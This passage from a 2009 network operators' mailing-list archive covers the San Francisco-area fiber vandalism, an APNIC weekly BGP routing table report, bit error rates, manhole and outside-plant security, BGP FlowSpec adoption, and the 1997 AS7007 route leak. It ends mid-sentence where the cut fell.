<1576117102-1239343341-cardhu_decombobulator_blackberry.rim.net-495679522-@bxe1087.bisx.prod.on.blackberry> Message-ID: On Fri, Apr 10, 2009 at 2:02 AM, wrote: > Not to turn this into an ethical typ discussion but this.... Maybe it's an ethical issue, with an ethical solution. Random news article from google: > Workers are seeking to preserve the health care benefit packages, said > Libby Sayre, area director for District 9 of the union, which covers > California, Nevada and Hawaii. Union leaders say members' health care > costs would more than triple under AT&T's current proposal. > Sayre said AT&T posted a $12.9 billion profit last year and added > there are few indications the company will be hit hard by the > recession. She added its chief executive officer, Randall Stephenson, > earns more than $10 million a year. The article goes further to explain that there are 90,000 workers affected. The arithmetic here is pretty easy. So the operational plan is to try harder not to screw over your employees, could be. -Randy Fischer From patrick at ianai.net Fri Apr 10 13:04:04 2009 From: patrick at ianai.net (Patrick W. Gilmore) Date: Fri, 10 Apr 2009 14:04:04 -0400 Subject: Vandalism Likely ... In-Reply-To: References: <6cd462c00904091842m73fc4768v270b0d7bb74f1160@mail.gmail.com> <20090410165720.GA22348@vacation.karoshi.com.> <28235353-11A4-490A-AED1-95AF6213953A@ianai.net> Message-ID: <5F0C9094-FB9C-463D-9437-FDF1C61E2D21@ianai.net> On Apr 10, 2009, at 2:00 PM, Steven M. Callahan wrote: > On Fri, Apr 10, 2009 at 1:15 PM, Patrick W. Gilmore > wrote: > >> I didn't see a smiley. >> >> And I seriously doubt metal recyclers are going 10 feet down into man >> holes, breaking into locked cabinets, cutting _fiber_optic_ cables >> (not >> copper), and doing it in exactly the right points to cause the most >> damage. >> >> But what do I know? >> > The average copper thief normally isn't intelligent enough to know the > difference between black PVC clad copper and black PVC clad fiber > until they > cut it. > > In this area, thousands of feet of fiber has been stolen along with > copper, > or left at the scene when the thieves realized it was not copper > they had > cut out. > > Copper thieves will climb into power substations, risking > electrocution, to > steal copper from power companies. So why would they not go down 10 > feet > into a manhole to get copper? Because it's too easy to get copper elsewhere. At least in the SF bay area. Much, much easier places to get much, much more fiber. If they stole 1000s of feet of fiber, maybe we could say they were dumb. -- TTFN, patrick From cscora at apnic.net Fri Apr 10 13:12:53 2009 From: cscora at apnic.net (Routing Analysis Role Account) Date: Sat, 11 Apr 2009 04:12:53 +1000 (EST) Subject: Weekly Routing Table Report Message-ID: <200904101812.n3AICrkj018717@thyme.apnic.net> This is an automated weekly mailing describing the state of the Internet Routing Table as seen from APNIC's router in Japan. Daily listings are sent to bgp-stats at lists.apnic.net For historical data, please see http://thyme.apnic.net. If you have any comments please contact Philip Smith . Routing Table Report 04:00 +10GMT Sat 11 Apr, 2009 Report Website: http://thyme.apnic.net Detailed Analysis: http://thyme.apnic.net/current/ Analysis Summary ---------------- BGP routing table entries examined: 284772 Prefixes after maximum aggregation: 134860 Deaggregation factor: 2.11 Unique aggregates announced to Internet: 140279 Total ASes present in the Internet Routing Table: 30988 Prefixes per ASN: 9.19 Origin-only ASes present in the Internet Routing Table: 26974 Origin ASes announcing only one prefix: 13104 Transit ASes present in the Internet Routing Table: 4014 Transit-only ASes present in the Internet Routing Table: 96 Average AS path length visible in the Internet Routing Table: 3.6 Max AS path length visible: 28 Max AS path prepend of ASN (12445) 18 Prefixes from unregistered ASNs in the Routing Table: 466 Unregistered ASNs in the Routing Table: 154 Number of 32-bit ASNs allocated by the RIRs: 141 Prefixes from 32-bit ASNs in the Routing Table: 21 Special use prefixes present in the Routing Table: 0 Prefixes being announced from unallocated address space: 216 Number of addresses announced to Internet: 2028311744 Equivalent to 120 /8s, 229 /16s and 148 /24s Percentage of available address space announced: 54.7 Percentage of allocated address space announced: 64.0 Percentage of available address space allocated: 85.5 Percentage of address space in use by end-sites: 76.3 Total number of prefixes smaller than registry allocations: 140014 APNIC Region Analysis Summary ----------------------------- Prefixes being announced by APNIC Region ASes: 66071 Total APNIC prefixes after maximum aggregation: 23545 APNIC Deaggregation factor: 2.81 Prefixes being announced from the APNIC address blocks: 62831 Unique aggregates announced from the APNIC address blocks: 28740 APNIC Region origin ASes present in the Internet Routing Table: 3599 APNIC Prefixes per ASN: 17.46 APNIC Region origin ASes announcing only one prefix: 972 APNIC Region transit ASes present in the Internet Routing Table: 552 Average APNIC Region AS path length visible: 3.6 Max APNIC Region AS path length visible: 18 Number of APNIC addresses announced to Internet: 410009632 Equivalent to 24 /8s, 112 /16s and 64 /24s Percentage of available APNIC address space announced: 81.5 APNIC AS Blocks 4608-4864, 7467-7722, 9216-10239, 17408-18431 (pre-ERX allocations) 23552-24575, 37888-38911, 45056-46079 APNIC Address Blocks 58/8, 59/8, 60/8, 61/8, 110/8, 111/8, 112/8, 113/8, 114/8, 115/8, 116/8, 117/8, 118/8, 119/8, 120/8, 121/8, 122/8, 123/8, 124/8, 125/8, 126/8, 202/8, 203/8, 210/8, 211/8, 218/8, 219/8, 220/8, 221/8, 222/8, ARIN Region Analysis Summary ---------------------------- Prefixes being announced by ARIN Region ASes: 124382 Total ARIN prefixes after maximum aggregation: 65792 ARIN Deaggregation factor: 1.89 Prefixes being announced from the ARIN address blocks: 93794 Unique aggregates announced from the ARIN address blocks: 36496 ARIN Region origin ASes present in the Internet Routing Table: 12905 ARIN Prefixes per ASN: 7.27 ARIN Region origin ASes announcing only one prefix: 4975 ARIN Region transit ASes present in the Internet Routing Table: 1248 Average ARIN Region AS path length visible: 3.3 Max ARIN Region AS path length visible: 20 Number of ARIN addresses announced to Internet: 423891200 Equivalent to 25 /8s, 68 /16s and 17 /24s Percentage of available ARIN address space announced: 81.5 ARIN AS Blocks 1-1876, 1902-2042, 2044-2046, 2048-2106 (pre-ERX allocations) 2138-2584, 2615-2772, 2823-2829, 2880-3153 3354-4607, 4865-5119, 5632-6655, 6912-7466 7723-8191, 10240-12287, 13312-15359, 16384-17407 18432-20479, 21504-23551, 25600-26591, 26624-27647, 29696-30719, 31744-33791 35840-36863, 39936-40959, 46080-47103 ARIN Address Blocks 24/8, 63/8, 64/8, 65/8, 66/8, 67/8, 68/8, 69/8, 70/8, 71/8, 72/8, 73/8, 74/8, 75/8, 76/8, 96/8, 97/8, 98/8, 99/8, 108/8, 173/8, 174/8, 184/8, 199/8, 204/8, 205/8, 206/8, 207/8, 208/8, 209/8, 216/8, RIPE Region Analysis Summary ---------------------------- Prefixes being announced by RIPE Region ASes: 65290 Total RIPE prefixes after maximum aggregation: 37961 RIPE Deaggregation factor: 1.72 Prefixes being announced from the RIPE address blocks: 59837 Unique aggregates announced from the RIPE address blocks: 39912 RIPE Region origin ASes present in the Internet Routing Table: 12866 RIPE Prefixes per ASN: 4.65 RIPE Region origin ASes announcing only one prefix: 6724 RIPE Region transit ASes present in the Internet Routing Table: 1940 Average RIPE Region AS path length visible: 4.0 Max RIPE Region AS path length visible: 26 Number of RIPE addresses announced to Internet: 392731424 Equivalent to 23 /8s, 104 /16s and 155 /24s Percentage of available RIPE address space announced: 83.6 RIPE AS Blocks 1877-1901, 2043, 2047, 2107-2136, 2585-2614 (pre-ERX allocations) 2773-2822, 2830-2879, 3154-3353, 5377-5631 6656-6911, 8192-9215, 12288-13311, 15360-16383 20480-21503, 24576-25599, 28672-29695 30720-31743, 33792-35839, 38912-39935 40960-45055, 47104-52223 RIPE Address Blocks 62/8, 77/8, 78/8, 79/8, 80/8, 81/8, 82/8, 83/8, 84/8, 85/8, 86/8, 87/8, 88/8, 89/8, 90/8, 91/8, 92/8, 93/8, 94/8, 95/8, 109/8, 178/8, 193/8, 194/8, 195/8, 212/8, 213/8, 217/8, LACNIC Region Analysis Summary ------------------------------ Prefixes being announced by LACNIC Region ASes: 23758 Total LACNIC prefixes after maximum aggregation: 5825 LACNIC Deaggregation factor: 4.08 Prefixes being announced from the LACNIC address blocks: 21967 Unique aggregates announced from the LACNIC address blocks: 11938 LACNIC Region origin ASes present in the Internet Routing Table: 1089 LACNIC Prefixes per ASN: 20.17 LACNIC Region origin ASes announcing only one prefix: 346 LACNIC Region transit ASes present in the Internet Routing Table: 174 Average LACNIC Region AS path length visible: 4.1 Max LACNIC Region AS path length visible: 28 Number of LACNIC addresses announced to Internet: 62202240 Equivalent to 3 /8s, 181 /16s and 33 /24s Percentage of available LACNIC address space announced: 61.8 LACNIC AS Blocks 26592-26623, 27648-28671, 52224-53247 plus ERX transfers LACNIC Address Blocks 186/8, 187/8, 189/8, 190/8, 200/8, 201/8, AfriNIC Region Analysis Summary ------------------------------- Prefixes being announced by AfriNIC Region ASes: 4843 Total AfriNIC prefixes after maximum aggregation: 1393 AfriNIC Deaggregation factor: 3.48 Prefixes being announced from the AfriNIC address blocks: 4481 Unique aggregates announced from the AfriNIC address blocks: 1360 AfriNIC Region origin ASes present in the Internet Routing Table: 289 AfriNIC Prefixes per ASN: 15.51 AfriNIC Region origin ASes announcing only one prefix: 87 AfriNIC Region transit ASes present in the Internet Routing Table: 55 Average AfriNIC Region AS path length visible: 3.9 Max AfriNIC Region AS path length visible: 15 Number of AfriNIC addresses announced to Internet: 10201344 Equivalent to 0 /8s, 155 /16s and 169 /24s Percentage of available AfriNIC address space announced: 30.4 AfriNIC AS Blocks 36864-37887 & ERX transfers AfriNIC Address Blocks 41/8, 197/8, APNIC Region per AS prefix count summary ---------------------------------------- ASN No of nets /20 equiv MaxAgg Description 4766 1691 6929 395 Korea Telecom (KIX) 17488 1537 122 96 Hathway IP Over Cable Interne 4755 1180 405 180 TATA Communications formerly 9583 1087 86 539 Sify Limited 4134 891 16388 368 CHINANET-BACKBONE 7545 785 164 106 TPG Internet Pty Ltd 18101 755 216 30 Reliance Infocom Ltd Internet 24560 681 228 174 Bharti Airtel Ltd. 9498 664 296 50 BHARTI BT INTERNET LTD. 9829 638 491 20 BSNL National Internet Backbo Complete listing at http://thyme.apnic.net/current/data-ASnet-APNIC ARIN Region per AS prefix count summary --------------------------------------- ASN No of nets /20 equiv MaxAgg Description 6389 4305 3669 345 bellsouth.net, inc. 209 2644 4151 622 Qwest 4323 1827 1049 376 Time Warner Telecom 1785 1744 717 138 PaeTec Communications, Inc. 20115 1593 1425 723 Charter Communications 7018 1445 5895 1018 AT&T WorldNet Services 6478 1317 297 483 AT&T Worldnet Services 2386 1249 681 898 AT&T Data Communications Serv 11492 1211 192 11 Cable One 3356 1193 10979 452 Level 3 Communications, LLC Complete listing at http://thyme.apnic.net/current/data-ASnet-ARIN RIPE Region per AS prefix count summary --------------------------------------- ASN No of nets /20 equiv MaxAgg Description 8452 1193 188 7 TEDATA 30890 544 88 199 SC Kappa Invexim SRL 3292 450 1764 388 TDC Tele Danmark 12479 401 578 6 Uni2 Autonomous System 3320 343 7081 294 Deutsche Telekom AG 3215 340 3025 108 France Telecom Transpac 3301 340 1685 305 TeliaNet Sweden 8866 337 109 22 Bulgarian Telecommunication C 29049 320 26 3 AzerSat LLC. 35805 316 24 4 United Telecom of Georgia Complete listing at http://thyme.apnic.net/current/data-ASnet-RIPE LACNIC Region per AS prefix count summary ----------------------------------------- ASN No of nets /20 equiv MaxAgg Description 8151 1442 2848 232 UniNet S.A. de C.V. 10620 854 194 102 TVCABLE BOGOTA 22047 604 302 14 VTR PUNTO NET S.A. 16814 589 31 10 NSS, S.A. 7303 520 265 72 Telecom Argentina Stet-France 11830 518 294 42 Instituto Costarricense de El 6471 442 96 31 ENTEL CHILE S.A. 11172 411 102 72 Servicios Alestra S.A de C.V 28573 399 526 25 NET Servicos de Comunicao S.A 7738 397 794 28 Telecomunicacoes da Bahia S.A Complete listing at http://thyme.apnic.net/current/data-ASnet-LACNIC AfriNIC Region per AS prefix count summary ------------------------------------------ ASN No of nets /20 equiv MaxAgg Description 24863 852 77 36 LINKdotNET AS number 20858 296 34 4 This AS will be used to conne 3741 277 860 237 The Internet Solution 2018 242 215 142 Tertiary Education Network 6713 159 150 15 Itissalat Al-MAGHRIB 33783 148 10 8 EEPAD TISP TELECOM & INTERNET 29571 138 15 9 Ci Telecom Autonomous system 5536 123 8 9 Internet Egypt Network 5713 115 507 66 Telkom SA Ltd 33776 109 6 3 Starcomms Nigeria Limited Complete listing at http://thyme.apnic.net/current/data-ASnet-AFRINIC Global Per AS prefix count summary ---------------------------------- ASN No of nets /20 equiv MaxAgg Description 6389 4305 3669 345 bellsouth.net, inc. 209 2644 4151 622 Qwest 4323 1827 1049 376 Time Warner Telecom 1785 1744 717 138 PaeTec Communications, Inc. 4766 1691 6929 395 Korea Telecom (KIX) 20115 1593 1425 723 Charter Communications 17488 1537 122 96 Hathway IP Over Cable Interne 7018 1445 5895 1018 AT&T WorldNet Services 8151 1442 2848 232 UniNet S.A. de C.V. 6478 1317 297 483 AT&T Worldnet Services Complete listing at http://thyme.apnic.net/current/data-ASnet Global Per AS Maximum Aggr summary ---------------------------------- ASN No of nets Net Savings Description 209 2644 2022 Qwest 1785 1744 1606 PaeTec Communications, Inc. 4323 1827 1451 Time Warner Telecom 17488 1537 1441 Hathway IP Over Cable Interne 4766 1691 1296 Korea Telecom (KIX) 8151 1442 1210 UniNet S.A. de C.V. 11492 1211 1200 Cable One 8452 1193 1186 TEDATA 18566 1060 1050 Covad Communications 4755 1180 1000 TATA Communications formerly Complete listing at http://thyme.apnic.net/current/data-CIDRnet List of Unregistered Origin ASNs (Global) ----------------------------------------- Bad AS Designation Network Transit AS Description 16927 UNALLOCATED 12.0.252.0/23 7018 AT&T WorldNet Servic 15132 UNALLOCATED 12.9.150.0/24 7018 AT&T WorldNet Servic 32567 UNALLOCATED 12.14.170.0/24 7018 AT&T WorldNet Servic 13746 UNALLOCATED 12.24.56.0/24 7018 AT&T WorldNet Servic 32567 UNALLOCATED 12.25.107.0/24 7018 AT&T WorldNet Servic 26973 UNALLOCATED 12.39.152.0/24 7018 AT&T WorldNet Servic 26973 UNALLOCATED 12.39.154.0/23 7018 AT&T WorldNet Servic 26973 UNALLOCATED 12.39.159.0/24 7018 AT&T WorldNet Servic 32326 UNALLOCATED 12.40.49.0/24 7018 AT&T WorldNet Servic 25639 UNALLOCATED 12.41.169.0/24 7018 AT&T WorldNet Servic Complete listing at http://thyme.apnic.net/current/data-badAS Advertised Unallocated Addresses -------------------------------- Network Origin AS Description 24.75.116.0/22 10796 ServiceCo LLC - Road Runner 24.246.0.0/17 7018 AT&T WorldNet Services 24.246.128.0/18 7018 AT&T WorldNet Services 41.220.16.0/20 8668 TelOne Zimbabwe P/L 41.223.112.0/22 5713 Telkom SA Ltd 41.223.188.0/24 22351 Intelsat 41.223.189.0/24 26452 Local Communications Networks 62.61.220.0/24 24974 Tachyon Europe BV - Wireless 62.61.221.0/24 24974 Tachyon Europe BV - Wireless 63.140.213.0/24 22555 Universal Talkware Corporatio Complete listing at http://thyme.apnic.net/current/data-add-IANA Number of prefixes announced per prefix length (Global) ------------------------------------------------------- /1:0 /2:0 /3:0 /4:0 /5:0 /6:0 /7:0 /8:19 /9:10 /10:20 /11:57 /12:163 /13:334 /14:588 /15:1148 /16:10423 /17:4676 /18:8037 /19:17039 /20:20250 /21:20014 /22:25589 /23:25339 /24:149117 /25:644 /26:792 /27:341 /28:117 /29:37 /30:10 /31:0 /32:8 Advertised prefixes smaller than registry allocations ----------------------------------------------------- ASN No of nets Total ann. Description 6389 2806 4305 bellsouth.net, inc. 4766 1393 1691 Korea Telecom (KIX) 209 1350 2644 Qwest 17488 1306 1537 Hathway IP Over Cable Interne 8452 1172 1193 TEDATA 11492 1160 1211 Cable One 1785 1152 1744 PaeTec Communications, Inc. 18566 1041 1060 Covad Communications 4323 953 1827 Time Warner Telecom 2386 949 1249 AT&T Data Communications Serv Complete listing at http://thyme.apnic.net/current/data/sXXas-nos Number of /24s announced per /8 block (Global) ---------------------------------------------- 4:13 8:178 12:2196 13:3 15:19 16:3 17:4 20:35 24:1100 32:51 38:549 40:97 41:1940 43:1 44:2 45:1 47:22 52:3 55:2 56:3 57:25 58:565 59:622 60:460 61:1107 62:1068 63:2023 64:3629 65:2410 66:3602 67:1490 68:706 69:2546 70:527 71:132 72:1645 73:2 74:1481 75:167 76:311 77:836 78:553 79:311 80:971 81:821 82:527 83:409 84:613 85:1020 86:393 87:634 88:358 89:1446 90:42 91:2132 92:334 93:1104 94:1191 95:1023 96:105 97:185 98:226 99:17 109:1 110:58 112:93 113:94 114:214 115:227 116:1150 117:493 118:283 119:704 120:149 121:713 122:997 123:537 124:957 125:1306 128:224 129:227 130:129 131:414 132:74 133:9 134:183 135:38 136:242 137:150 138:148 139:77 140:423 141:103 142:391 143:323 144:331 145:45 146:370 147:152 148:519 149:235 150:145 151:199 152:150 153:130 154:11 155:269 156:171 157:300 158:127 159:273 160:282 161:134 162:273 163:149 164:483 165:531 166:268 167:360 168:692 169:161 170:473 171:38 172:10 173:266 174:168 178:1 186:8 187:74 188:11 189:343 190:2746 192:5795 193:4233 194:3322 195:2682 196:1061 198:3738 199:3311 200:5504 201:1362 202:7902 203:8097 204:3796 205:2158 206:2390 207:2804 208:3902 209:3407 210:2649 211:1097 212:1521 213:1729 214:71 215:30 216:4554 217:1257 218:361 219:413 220:1210 221:452 222:289 End of report From chaz at chaz6.com Fri Apr 10 13:12:49 2009 From: chaz at chaz6.com (Chris Hills) Date: Fri, 10 Apr 2009 20:12:49 +0200 Subject: [outages] fibre cut near 200 Paul, San Francisco In-Reply-To: <49DEA1BF.5040502@zero11.com> References: <49DEA1BF.5040502@zero11.com> Message-ID: On 10/04/09 03:32, John Martinez wrote: > BT Americas? Oh dear, and just after BT suffered a big cut in London. Who needs vandals when there's contractors about? http://www.theregister.co.uk/2009/04/08/bt_hole_hits_vodafone/ http://www.flickr.com/photos/23919135 at N00/3426407496/ From lowen at pari.edu Fri Apr 10 13:31:42 2009 From: lowen at pari.edu (Lamar Owen) Date: Fri, 10 Apr 2009 14:31:42 -0400 Subject: Forward Erasure Correction (FEC) and network performance In-Reply-To: <49DF853E.9050400@eeph.com> References: Message-ID: <200904101431.43141.lowen@pari.edu> On Friday 10 April 2009 13:43:26 Matthew Kaufman wrote: > The bit error rate of copper is better than 1 error in 10^9 bits. The > bit error rate of fiber is better than 1 error in 10^12 bits. So the > packet loss rate of the transport media is approximately zero.* This sounds pretty good, until you realize that it means you can expect 36 errors in 10 hours on a 100% utilized gigabit fiber link. From Valdis.Kletnieks at vt.edu Fri Apr 10 13:44:59 2009 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Fri, 10 Apr 2009 14:44:59 -0400 Subject: Vandalism Likely ... In-Reply-To: Your message of "Fri, 10 Apr 2009 14:00:38 EDT." References: <6cd462c00904091842m73fc4768v270b0d7bb74f1160@mail.gmail.com> <20090410165720.GA22348@vacation.karoshi.com> <28235353-11A4-490A-AED1-95AF6213953A@ianai.net> Message-ID: <42585.1239389099@turing-police.cc.vt.edu> On Fri, 10 Apr 2009 14:00:38 EDT, "Steven M. Callahan" said: > The average copper thief normally isn't intelligent enough to know the > difference between black PVC clad copper and black PVC clad fiber until they > cut it. I wish I still had the link to the pictures - one company in Europe was laying fiber that had 'NO COPPER INSIDE' written on the PVC every few feet, in 5 different languages. It helped, but not 100%, IIRC. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 226 bytes Desc: not available URL: From matthew at eeph.com Fri Apr 10 13:47:25 2009 From: matthew at eeph.com (Matthew Kaufman) Date: Fri, 10 Apr 2009 11:47:25 -0700 Subject: Forward Erasure Correction (FEC) and network performance In-Reply-To: <200904101431.43141.lowen@pari.edu> References: <200904101431.43141.lowen@pari.edu> Message-ID: <49DF943D.2070307@eeph.com> Lamar Owen wrote: > On Friday 10 April 2009 13:43:26 Matthew Kaufman wrote: >> The bit error rate of copper is better than 1 error in 10^9 bits. The >> bit error rate of fiber is better than 1 error in 10^12 bits. So the >> packet loss rate of the transport media is approximately zero.* > > This sounds pretty good, until you realize that it means you can expect 36 > errors in 10 hours on a 100% utilized gigabit fiber link. > That *still* sounds good to me. There's a reason reliable transport protocols work the way they do... and integrity protection better than simple checksums is well-understood these days as well. Matthew Kaufman From swmike at swm.pp.se Fri Apr 10 14:00:41 2009 From: swmike at swm.pp.se (Mikael Abrahamsson) Date: Fri, 10 Apr 2009 21:00:41 +0200 (CEST) Subject: Forward Erasure Correction (FEC) and network performance In-Reply-To: <200904101431.43141.lowen@pari.edu> References: <200904101431.43141.lowen@pari.edu> Message-ID: On Fri, 10 Apr 2009, Lamar Owen wrote: > This sounds pretty good, until you realize that it means you can expect > 36 errors in 10 hours on a 100% utilized gigabit fiber link. Well, it means this is still ok according to standard. In real life, if you engineer your network to be within the optical levels they should be, you get GigE links that at the highest, have single digit CRC errors per month, at the lowest, have 0 CRC errors month after month even with a lot of traffic. BER starts happening very steeply when you approch the optical limit, it might go from 10^-20 to 10^-14 in just a few dB of optical level change. -- Mikael Abrahamsson email: swmike at swm.pp.se From carlos at race.com Fri Apr 10 14:05:46 2009 From: carlos at race.com (Carlos Alcantar) Date: Fri, 10 Apr 2009 12:05:46 -0700 Subject: Outside plant protection, fiber cuts, interwebz down oh noes! Message-ID: <859604546CD1FF488BDB6EA94C896AFB776105@racexchange.race.local> Your right about having the right tools whats a manhole hook cost $50 -carlos -----Original Message----- From: Daryl G. Jurbala [mailto:daryl at introspect.net] Sent: Friday, April 10, 2009 10:37 AM To: Charles Wyble Cc: nanog at nanog.org Subject: Re: Outside plant protection, fiber cuts, interwebz down oh noes! On Apr 9, 2009, at 6:04 PM, Charles Wyble wrote: > > 3) From what I understand it's not trivial to raise a manhole cover. > Most likely can't be done by one person. Can they be locked? Or were > the carriers simply relying on obscurity/barrier to entry? Your understanding is incorrect. I'm an average sized guy and I can pull a manhole cover with one hand on the right tool. It might take 2 hands if it hasn't been opened recently and has lots of pebbles and dirt jammed in around it. It's like everything else: if you know how to do it, and you have the right tool, it's simple. And, yes, you can get lockable manhole covers. They aren't cheap. McGuard make a popular one. (Yes, yes...why would I possibly know any of this.....I'm a fire marshal in a small town as a part time gig, so I have to deal with this kind of thing on a reasonably regular basis) Daryl From dstorandt at teljet.com Fri Apr 10 14:30:09 2009 From: dstorandt at teljet.com (David Storandt) Date: Fri, 10 Apr 2009 15:30:09 -0400 Subject: Outside plant protection, fiber cuts, interwebz down oh noes! In-Reply-To: <859604546CD1FF488BDB6EA94C896AFB776105@racexchange.race.local> References: <859604546CD1FF488BDB6EA94C896AFB776105@racexchange.race.local> Message-ID: Cones, hard hat, vest, and a hook (maybe a party light and a borrowed ladder on your truck for good measure) costs under $400. The real cost of the fiber is not the cable, it's securing the path using underground or aerial construction. In our shop's mostly-rural service area, that's over 80% of the cost of a build versus fiber cable, splicing or CPE hardware. Urban areas is even higher percentage. Of course providers need proper engineering and electronics to maintain service coverage if somebody does cut your stuff. I can think of a few shops where this is the toughest part. -D On Fri, Apr 10, 2009 at 3:05 PM, Carlos Alcantar wrote: > Your right about having the right tools whats a manhole hook cost $50 > > -carlos From owen at delong.com Fri Apr 10 14:30:34 2009 From: owen at delong.com (Owen DeLong) Date: Fri, 10 Apr 2009 12:30:34 -0700 Subject: Outside plant protection, fiber cuts, interwebz down oh noes! In-Reply-To: <859604546CD1FF488BDB6EA94C896AFB776105@racexchange.race.local> References: <859604546CD1FF488BDB6EA94C896AFB776105@racexchange.race.local> Message-ID: <6C495B50-9E05-4401-8170-A36E64850475@delong.com> I've had pretty good luck when necessary using a large screwdriver, a claw hammer, or a small crow-bar. I know others who claim it can be done with a spade, pick-axe, etc. although I have not tested those implements. Owen On Apr 10, 2009, at 12:05 PM, Carlos Alcantar wrote: > Your right about having the right tools whats a manhole hook cost $50 > > -carlos > > -----Original Message----- > From: Daryl G. Jurbala [mailto:daryl at introspect.net] > Sent: Friday, April 10, 2009 10:37 AM > To: Charles Wyble > Cc: nanog at nanog.org > Subject: Re: Outside plant protection, fiber cuts, interwebz down oh > noes! > > > On Apr 9, 2009, at 6:04 PM, Charles Wyble wrote: > >> >> 3) From what I understand it's not trivial to raise a manhole cover. >> Most likely can't be done by one person. Can they be locked? Or were >> the carriers simply relying on obscurity/barrier to entry? > > > Your understanding is incorrect. I'm an average sized guy and I can > pull a manhole cover with one hand on the right tool. It might take 2 > hands if it hasn't been opened recently and has lots of pebbles and > dirt jammed in around it. It's like everything else: if you know how > to do it, and you have the right tool, it's simple. > > And, yes, you can get lockable manhole covers. They aren't cheap. > McGuard make a popular one. > > (Yes, yes...why would I possibly know any of this.....I'm a fire > marshal in a small town as a part time gig, so I have to deal with > this kind of thing on a reasonably regular basis) > > Daryl > > From scott at sonic.net Fri Apr 10 14:41:04 2009 From: scott at sonic.net (Scott Doty) Date: Fri, 10 Apr 2009 12:41:04 -0700 Subject: Fiber cut in SF area In-Reply-To: <200904100050.n3A0onlH007803@kw.retro.com> References: <20090409174945.GA3388@isc.org> <1b5c1c150904091111i62c42814h2d6cfc6ffee8ea82@mail.gmail.com> <20090409185510.GP39240@neu.cow.org> <49DE719A.1020106@sonic.net> <200904100050.n3A0onlH007803@kw.retro.com> Message-ID: <49DFA0D0.4030302@sonic.net> George William Herbert wrote: > Scott Doty wrote: > >> (Personally, I can think of a "MAE-Clueless" episode that was worse than >> this, but that was in the 90's...) >> > > The gas main strike out front of the building in Santa Clara? > > Or something else? > > > -george william herbert > gherbert at retro.com > Hi George, No, it was when an AS took their full bgp feed & fed it into their igp (which used RIP, iirc), which generated (de-aggregated) routes into /24's, which they then announced back into bgp... iirc, part of the chaos than ensued was due to a router bug, so that the routes "stuck around" in global views, even after the AS killed their announcements, and even after physically disconnecting from their provider. We told our customers "the Internet is broken, please try again later"...which was acceptable back then. (But I doubt we would get away with just that nowadays... ;-) ) -Scott From robertg at garlic.com Fri Apr 10 15:03:58 2009 From: robertg at garlic.com (Robert Glover) Date: Fri, 10 Apr 2009 13:03:58 -0700 Subject: Outside plant protection, fiber cuts, interwebz down oh noes! References: <49DE70E0.6040807@thewybles.com> <20090410004145.GR39240@neu.cow.org> Message-ID: <0D94184D84314E3EB258FA0094A14D3E@Officeibm1> ----- Original Message ----- From: "Ravi Pina" To: "Charles Wyble" Cc: Sent: Thursday, April 09, 2009 5:41 PM Subject: Re: Outside plant protection, fiber cuts, interwebz down oh noes! >> 2) Why didn't an alarm go off that someone had entered the area? It was >> after business hours, presumably not in response to a trouble ticket, >> and as such a highly suspicious action. Does it make sense for these >> access portals to have some sort of alarm? I mean there is fiber running >> through and as such it could carry the signaling. Would this be a >> massive cost addition during construction? I can comment on this, I live three blocks from the scene of the cut. The manholes themselves sit along railroad tracks and an overpass. At 2am, it's a very dark area, and there is very little traffic at that time. It would be an ideal area to perform this type of vandalism. On a side note, when I was passing the area this morning at around 10am PDT, there were two fiber-trailers working in two separate manholes. My company (AS4307) fell off the map from about 2am until roughly 10:42pm when one of our upstreams (AS20115) finally came back. Our primary (AS174) came back about 11:30pm. Of course during the majority of the outage, we also had no land-lines or cell-phones, so were effectively isolated. Bobby Glover Director of Information Services South Valley Internet From sronan at fattoc.com Fri Apr 10 15:10:06 2009 From: sronan at fattoc.com (Shane Ronan) Date: Fri, 10 Apr 2009 13:10:06 -0700 Subject: Outside plant protection, fiber cuts, interwebz down oh noes! In-Reply-To: <0D94184D84314E3EB258FA0094A14D3E@Officeibm1> References: <49DE70E0.6040807@thewybles.com> <20090410004145.GR39240@neu.cow.org> <0D94184D84314E3EB258FA0094A14D3E@Officeibm1> Message-ID: <20345D3A-1B58-463C-9D63-FE43E762F689@fattoc.com> > > On a side note, when I was passing the area this morning at around > 10am PDT, there were two fiber-trailers working in two separate > manholes. > This is probably the result of having to splice in a new section of fiber, since it would probably have been difficult to splice the ends of the cut section back together. From Stefan.Fouant at neustar.biz Fri Apr 10 15:08:19 2009 From: Stefan.Fouant at neustar.biz (Fouant, Stefan) Date: Fri, 10 Apr 2009 16:08:19 -0400 Subject: BGP FlowSpec support on provider networks In-Reply-To: <49DFA0D0.4030302@sonic.net> References: <20090409174945.GA3388@isc.org><1b5c1c150904091111i62c42814h2d6cfc6ffee8ea82@mail.gmail.com><20090409185510.GP39240@neu.cow.org> <49DE719A.1020106@sonic.net><200904100050.n3A0onlH007803@kw.retro.com> <49DFA0D0.4030302@sonic.net> Message-ID: Hi folks, I am trying to compile data on which providers are currently supporting BGP Flowspec at their edge, if there are any at all. The few providers I've reached out to have indicated they do not support this and have no intention of supporting this any time in the near future. I'm also curious why something so useful as to have the ability to advertise flow specification information in NLRI and distribute filtering information is taking so long to gain a foothold in the industry... Stefan Fouant: NeuStar, Inc. Principal Network Engineer 46000 Center Oak Plaza Sterling, VA 20166 [ T ] +1 571 434 5656 [ M ] +1 202 210 2075 [ E ] stefan.fouant at neustar.biz [ W ] www.neustar.biz From patrick at ianai.net Fri Apr 10 15:19:25 2009 From: patrick at ianai.net (Patrick W. Gilmore) Date: Fri, 10 Apr 2009 16:19:25 -0400 Subject: Fiber cut in SF area In-Reply-To: <49DFA0D0.4030302@sonic.net> References: <20090409174945.GA3388@isc.org> <1b5c1c150904091111i62c42814h2d6cfc6ffee8ea82@mail.gmail.com> <20090409185510.GP39240@neu.cow.org> <49DE719A.1020106@sonic.net> <200904100050.n3A0onlH007803@kw.retro.com> <49DFA0D0.4030302@sonic.net> Message-ID: On Apr 10, 2009, at 3:41 PM, Scott Doty wrote: > George William Herbert wrote: >> Scott Doty wrote: >> >>> (Personally, I can think of a "MAE-Clueless" episode that was >>> worse than this, but that was in the 90's...) >>> >> The gas main strike out front of the building in Santa Clara? >> >> Or something else? >> >> >> -george william herbert >> gherbert at retro.com > No, it was when an AS took their full bgp feed & fed it into their > igp (which used RIP, iirc), which generated (de-aggregated) routes > into /24's, which they then announced back into bgp... That was Vinny Bono of FLIX, the Fat man Little man Internet eXchange, as7007. Happened in 1997, IIRC. He used a Bay Networks router to redistribute BGP on one card into RIPv1 on another card, stripping the CIDR notations off each prefix, making them classful, and stripping the AS Path. This means, 